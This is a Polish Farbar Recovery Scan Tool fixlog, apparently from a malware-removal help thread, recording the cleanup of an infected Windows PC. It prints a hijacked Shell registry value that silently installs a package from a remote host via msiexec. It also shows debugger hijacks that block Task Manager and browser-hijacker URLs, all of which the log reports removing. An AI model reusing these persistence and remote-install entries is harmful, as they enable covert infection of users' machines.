1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117. | Rezultat naprawy Farbar Recovery Scan Tool (x64) Wersja: 21-06-2017 01
Uruchomiony przez Beata (22-06-2017 22:38:09) Run:1
Uruchomiony z C:\Users\Beata\Downloads\FRST-OlderVersion
Załadowane profile: defaultuser0 & Beata (Dostępne profile: defaultuser0 & Beata)
Tryb startu: Normal
==============================================
fixlist - zawartość:
*****************
CloseProcesses:
C:\Windows\KMS-R@1n.exe
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.ltdmsjq.com/?data=zDlkMj85FdM5FkMdOUY1FTIyRTM1MTVSOTJWOURSOWHxFkJWOH== /q <===== UWAGA
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
IFEO\taskmgr.exe: [Debugger]
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
SearchScopes: HKU\S-1-5-21-4154965311-55385270-3539469186-1001 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
SearchScopes: HKU\S-1-5-21-4154965311-55385270-3539469186-1001 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1493726609&z=f61585ccd1834ea565ba36ag1z1t4c2m0obq9qcecb&from=ypid&uid=SamsungXSSDX840XEVOX120GB_S1D5NSAF510371L&q={searchTerms}
FF ProfilePath: C:\Users\Beata\AppData\Roaming\Firefox\Firefox\Profiles\10h3e2nq.default [2017-05-31] <==== UWAGA
FF DefaultProfile: evhfedm2.default
FF DefaultProfile: 10h3e2nq.default
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Dohat\Application\chrome.exe <==== UWAGA
S2 BIT; C:\ProgramData\BIT\BIT.dll [1812992 2017-06-08] () [Brak podpisu cyfrowego] <==== UWAGA
S4 snare; C:\Users\Beata\AppData\Local\snare\Snare.dll [1050112 2017-06-08] () [Brak podpisu cyfrowego] <==== UWAGA
S3 gupdatem; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc [X]
C:\Users\Beata\AppData\Local\background_fault\aswRD.exe
C:\ProgramData\DP45977C.lfl
EmptyTemp:
*****************
Procesy zostały pomyślnie zamknięte.
C:\Windows\KMS-R@1n.exe => pomyślnie przeniesiono
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\Software\Microsoft\Windows\CurrentVersion\Policies\system\\Shell => Wartość pomyślnie usunięto
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdate.exe => klucz pomyślnie usunięto
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdaterService.exe => klucz pomyślnie usunięto
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe => klucz pomyślnie usunięto
HKLM\Software\\Microsoft\Internet Explorer\Main\\Start Page => Wartość pomyślnie przywrócono
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Start Page => Wartość pomyślnie przywrócono
HKLM\Software\\Microsoft\Internet Explorer\Main\\Search Page => Wartość pomyślnie przywrócono
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Search Page => Wartość pomyślnie przywrócono
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Page_URL => Wartość pomyślnie przywrócono
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Page_URL => Wartość pomyślnie przywrócono
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Search_URL => Wartość pomyślnie przywrócono
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Search_URL => Wartość pomyślnie przywrócono
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\Software\Microsoft\Internet Explorer\Main\\Start Page => Wartość pomyślnie przywrócono
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\Software\Microsoft\Internet Explorer\Main\\Default_Page_URL => Wartość pomyślnie przywrócono
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => Wartość pomyślnie przywrócono
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => klucz pomyślnie usunięto
HKLM\Software\Classes\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => klucz nie znaleziono.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => Wartość pomyślnie przywrócono
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => klucz pomyślnie usunięto
HKLM\Software\Wow6432Node\Classes\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => klucz nie znaleziono.
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => Wartość pomyślnie usunięto
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => klucz pomyślnie usunięto
HKLM\Software\Classes\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => klucz nie znaleziono.
C:\Users\Beata\AppData\Roaming\Firefox\Firefox\Profiles\10h3e2nq.default => pomyślnie przeniesiono
C:\Users\Beata\AppData\Roaming\Firefox\Firefox\Profiles\10h3e2nq.default => ścieżki pomyślnie usunięto
FF DefaultProfile: evhfedm2.default => Błąd: Nie znaleziono automatycznej naprawy dla tego wejścia.
FF DefaultProfile: 10h3e2nq.default => Błąd: Nie znaleziono automatycznej naprawy dla tego wejścia.
HKU\S-1-5-21-4154965311-55385270-3539469186-1001\SOFTWARE\Clients\StartMenuInternet\ChromeHTML => klucz pomyślnie usunięto
HKLM\System\CurrentControlSet\Services\BIT => klucz pomyślnie usunięto
BIT => serwis pomyślnie usunięto
HKLM\System\CurrentControlSet\Services\snare => klucz pomyślnie usunięto
snare => serwis pomyślnie usunięto
HKLM\System\CurrentControlSet\Services\gupdatem => klucz pomyślnie usunięto
gupdatem => serwis pomyślnie usunięto
C:\Users\Beata\AppData\Local\background_fault\aswRD.exe => pomyślnie przeniesiono
C:\ProgramData\DP45977C.lfl => pomyślnie przeniesiono
=========== EmptyTemp: ==========
BITS transfer queue => 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 29885475 B
Java, Flash, Steam htmlcache => 492 B
Windows/system/drivers => 2190398 B
Edge => 5816 B
Chrome => 0 B
Firefox => 376623704 B
Opera => 115712 B
Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 952 B
systemprofile32 => 53890051 B
LocalService => 4122 B
NetworkService => 0 B
defaultuser0 => 128 B
Beata => 167270452 B
RecycleBin => 5574042 B
EmptyTemp: => 606.1 MB danych tymczasowych Usunięto.
================================
System wymagał restartu.
==== Koniec Fixlog 22:38:38 ==== |